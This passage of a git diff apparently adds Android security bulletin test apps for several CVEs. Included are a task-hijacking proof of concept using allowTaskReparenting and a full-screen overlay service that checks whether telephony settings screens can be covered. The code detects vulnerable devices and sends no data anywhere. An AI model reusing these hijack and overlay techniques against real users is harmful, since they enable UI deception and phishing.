+            // Register a broadcast receiver to receive broadcast from PocActivity indicating
+            // presence of vulnerability
+            BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        if (intent.getAction()
+                                .equals(mContext.getString(R.string.nameBroadcastActionString))) {
+                            mBroadcastReceived.release();
+                        }
+                    } catch (Exception ignored) {
+                        // ignore any exceptions
+                    }
+                }
+            };
+            IntentFilter filter =
+                    new IntentFilter(mContext.getString(R.string.nameBroadcastActionString));
+            mContext.registerReceiver(broadcastReceiver, filter);
+
+            tryNotificationStart();
+            assertFalse(mContext.getString(R.string.msgFailure),
+                    mBroadcastReceived.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS));
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                mNotificationManager.cancel(mResources.getInteger(R.integer.idSummaryNotification));
+                mNotificationManager.cancel(mContext.getString(R.string.tagNotify),
+                        mResources.getInteger(R.integer.idTestNotification));
+            } catch (Exception e) {
+                // ignore this exception
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
new file mode 100644
index 0000000..5afa191
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20415/src/android/security/cts/CVE_2022_20415/PocActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20415;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            // PocActivity has been launched successfully, this indicates presence of vulnerability
+            // so broadcasting it to DeviceTest.
+            sendBroadcast(new Intent(getString(R.string.nameBroadcastActionString)));
+        } catch (Exception e) {
+            // ignore any exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
similarity index 80%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
index 770b5a2..db55729 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/Android.bp
@@ -15,19 +15,20 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
-    name: "CVE-2021-0642",
+    name: "CVE-2022-20475-target",
     defaults: [
         "cts_support_defaults",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+    ],
     test_suites: [
         "sts",
     ],
-    static_libs: [
-        "androidx.test.core",
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-    ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
new file mode 100644
index 0000000..60fb528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20475_target">
+    <application android:allowTaskReparenting="true">
+        <activity android:name=".TargetActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
index d9e0ab2..c424970 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/res/values/strings.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<resources>
+    <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
new file mode 100644
index 0000000..4b885c6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/target-app/src/android/security/cts/CVE_2022_20475_target/TargetActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_target;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+        } catch (Exception ignored) {
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        try {
+            super.onResume();
+            sendBroadcast(new Intent(getString(R.string.bcastActionTarget)));
+        } catch (Exception ignored) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
index 09297b2..043de91 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
@@ -20,9 +20,9 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2022-20475-test",
     defaults: [
-        "cts_defaults",
+        "cts_support_defaults",
     ],
     srcs: [
         "src/**/*.java",
@@ -33,7 +33,6 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
     ],
-    platform_apis: true,
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2e35b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20475_test">
+    <application>
+        <activity android:name=".PocActivity" />
+        <activity android:name=".HijackActivity" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20475_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
new file mode 100644
index 0000000..bbeb2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityTarget">android.security.cts.CVE_2022_20475_target.TargetActivity</string>
+    <string name="pkgTarget">android.security.cts.CVE_2022_20475_target</string>
+    <string name="bcastActionHijack">CVE_2022_20475_HijackActivity</string>
+    <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+    <string name="msgFail">Device is vulnerable to b/240663194 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
new file mode 100644
index 0000000..53e4c3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int WAIT_MS = 5000;
+
+    @Test
+    public void testCVE_2022_20475() {
+        try {
+            // Registering a receiver here to wait for a broadcast from either HijackActivity or
+            // TargetActivity
+            Context context = getApplicationContext();
+            CompletableFuture<Boolean> hijackReturn = new CompletableFuture<>();
+            CompletableFuture<Boolean> targetReturn = new CompletableFuture<>();
+            final String bcastActionHijack = context.getString(R.string.bcastActionHijack);
+            final String bcastActionTarget = context.getString(R.string.bcastActionTarget);
+            BroadcastReceiver broadcastReceiver =
+                    new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            if (intent.getAction().equals(bcastActionHijack)) {
+                                hijackReturn.complete(true);
+                            } else if (intent.getAction().equals(bcastActionTarget)) {
+                                targetReturn.complete(true);
+                            }
+                        }
+                    };
+            IntentFilter filter = new IntentFilter();
+            filter.addAction(bcastActionHijack);
+            filter.addAction(bcastActionTarget);
+            context.registerReceiver(broadcastReceiver, filter);
+
+            // Start PocActivity which in turn starts both TargetActivity and HijackActivity
+            Intent intent = new Intent(context, PocActivity.class);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(intent);
+
+            // Waiting on callback from HijackActivity which is started last by PocActivity
+            hijackReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+
+            // Start TargetActivity
+            Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+            final String pkgTarget = context.getString(R.string.pkgTarget);
+            targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+            targetIntent.setFlags(
+                    Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
+            context.startActivity(targetIntent);
+
+            // Wait on callback from TargetActivity. On vulnerable device, TargetActivity would
+            // not start and HijackActivity would remain on screen so the test should fail due
+            // to timeout on callback.
+            try {
+                targetReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+            } catch (TimeoutException e) {
+                throw new AssertionError(context.getString(R.string.msgFail));
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
index 1a335c7..8ac03f6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
@@ -14,9 +14,20 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2022_20475_test;
 
 import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
 
-public class PocActivity extends Activity {
+public class HijackActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            sendBroadcast(new Intent(getString(R.string.bcastActionHijack)));
+        } catch (Exception ignored) {
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
new file mode 100644
index 0000000..e1968a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            // Start TargetActivity
+            Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+            targetIntent.setClassName(getString(R.string.pkgTarget),
+                    getString(R.string.activityTarget));
+            startActivity(targetIntent);
+
+            // Start HijackActivity. On vulnerable device, this will be parented by the task
+            // android.security.cts.CVE_2022_20475_target
+            startActivity(new Intent(this, HijackActivity.class));
+        } catch (Exception ignored) {
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
similarity index 92%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
index 09297b2..81ce65d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
@@ -20,9 +20,9 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2023-20913",
     defaults: [
-        "cts_defaults",
+        "cts_support_defaults",
     ],
     srcs: [
         "src/**/*.java",
@@ -35,5 +35,4 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
new file mode 100644
index 0000000..5617874
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_20913">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <application>
+        <service android:name=".PocService" />
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_20913" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
new file mode 100644
index 0000000..dc0aa2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+    <string name="activityAccessibilitySettings">.settings.AccessibilitySettingsActivity</string>
+    <string name="activityPhoneAccountSettings">.settings.PhoneAccountSettingsActivity</string>
+    <string name="activityVoicemailSettings">.settings.VoicemailSettingsActivity</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="msgActivityNotFound">The activity with intent %1$s was not found</string>
+    <string name="msgAssumptionFailure">Following assumption failures occurred: </string>
+    <string name="msgCannotDrawOverlays">The application cannot draw overlays</string>
+    <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+    <string name="msgOverlayError">Device is vulnerable to b/246933785 hence any app with
+    "SYSTEM_ALERT_WINDOW permission" can overlay the following activities: </string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="pkgDefaultTelephony">com.android.phone</string>
+    <string name="textOverlayButton">b_246933785 OverlayButton</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
new file mode 100644
index 0000000..49b26be
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.PowerManager;
+import android.os.UserHandle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Context mContext = null;
+    private List<String> mViolations;
+    private List<String> mVulnerabilities;
+    PackageManager mPackageManager = null;
+
+    private String getTelephonyPackageName() {
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = mContext.getString(R.string.pkgDefaultTelephony);
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            Intent intent = new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS);
+            ResolveInfo info = mPackageManager.resolveActivityAsUser(intent,
+                    PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+            name = info.activityInfo.packageName;
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    public void testActivity(String cls) throws Exception {
+        UiDevice device = null;
+        try {
+            mPackageManager = mContext.getPackageManager();
+            device = UiDevice.getInstance(getInstrumentation());
+
+            // Start the overlay service
+            Intent serviceIntent = new Intent(mContext, PocService.class);
+            assumeTrue(mContext.getString(R.string.msgCannotDrawOverlays),
+                    Settings.canDrawOverlays(mContext));
+            mContext.startService(serviceIntent);
+
+            // Wait for the overlay window
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.textOverlayButton), Pattern.CASE_INSENSITIVE);
+            final long launchTimeoutMs = 20_000L;
+            if (!device.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)) {
+                mViolations.add(cls + mContext.getString(R.string.overlayUiScreenError));
+                return;
+            }
+
+            // Start the vulnerable activity
+            String pkg = getTelephonyPackageName();
+            Intent intent = new Intent();
+            String vulActivity = pkg + cls;
+            intent.setClassName(pkg, vulActivity);
+            ResolveInfo ri =
+                    mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+            if (ri == null) {
+                mViolations.add(cls + mContext.getString(R.string.msgActivityNotFound, intent));
+                return;
+            }
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            mContext.startActivity(intent);
+
+            // Wait until overlay window is gone
+            boolean overlayDisallowed =
+                    device.wait(Until.gone(By.text(overlayTextPattern)), launchTimeoutMs);
+
+            // Check if the currently running activity is the vulnerable activity
+            String activityDump = device.executeShellCommand(
+                    mContext.getString(R.string.dumpsysActivityCmd, vulActivity));
+            Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+                    Pattern.CASE_INSENSITIVE);
+            if (!(activityPattern.matcher(activityDump).find())) {
+                mViolations.add(
+                        cls + mContext.getString(R.string.vulActivityNotRunningError, vulActivity));
+                return;
+            }
+
+            // If overlayDisallowed is not true then add the class name to mVulnerabilities
+            if (!overlayDisallowed) {
+                mVulnerabilities.add(cls);
+            }
+        } catch (Exception e) {
+            mViolations.add(e.getMessage());
+        } finally {
+            try {
+                // To exit current activity so that new activity starts
+                device.pressHome();
+            } catch (Exception e) {
+                // Ignoring exceptions here since any exception caught here is unrelated to test
+            }
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        try {
+            mContext = getInstrumentation().getTargetContext();
+            KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
+            PowerManager powerManager = mContext.getSystemService(PowerManager.class);
+            assumeTrue(mContext.getString(R.string.msgDeviceLocked),
+                    powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+            mViolations = new ArrayList<String>();
+            mVulnerabilities = new ArrayList<String>();
+            testActivity(mContext.getString(R.string.activityAccessibilitySettings));
+            testActivity(mContext.getString(R.string.activityPhoneAccountSettings));
+            testActivity(mContext.getString(R.string.activityVoicemailSettings));
+            if (mVulnerabilities.isEmpty()) {
+                assumeTrue(mContext.getString(R.string.msgAssumptionFailure) + mViolations,
+                        mViolations.isEmpty());
+            } else {
+                fail(mContext.getString(R.string.msgOverlayError) + mVulnerabilities);
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
new file mode 100644
index 0000000..6ac55d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+
+    @Override
+    public void onCreate() {
+        try {
+            super.onCreate();
+            mWindowManager = getSystemService(WindowManager.class);
+            LayoutParams layoutParams = new LayoutParams();
+            layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            layoutParams.flags =
+                    LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+            layoutParams.format = PixelFormat.OPAQUE;
+            layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+            DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+            layoutParams.width = displayMetrics.widthPixels;
+            layoutParams.height = displayMetrics.heightPixels;
+            layoutParams.x = displayMetrics.widthPixels / 2;
+            layoutParams.y = displayMetrics.heightPixels / 2;
+
+            // Show the floating window
+            mButton = new Button(this);
+            mButton.setText(getString(R.string.textOverlayButton));
+            mWindowManager.addView(mButton, layoutParams);
+        } catch (Exception ignored) {
+            // In case of occurrence of an exception overlay won't appear on display which results
+            // in assumption failure in device test. Hence ignoring this exception here.
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onDestroy() {
+        try {
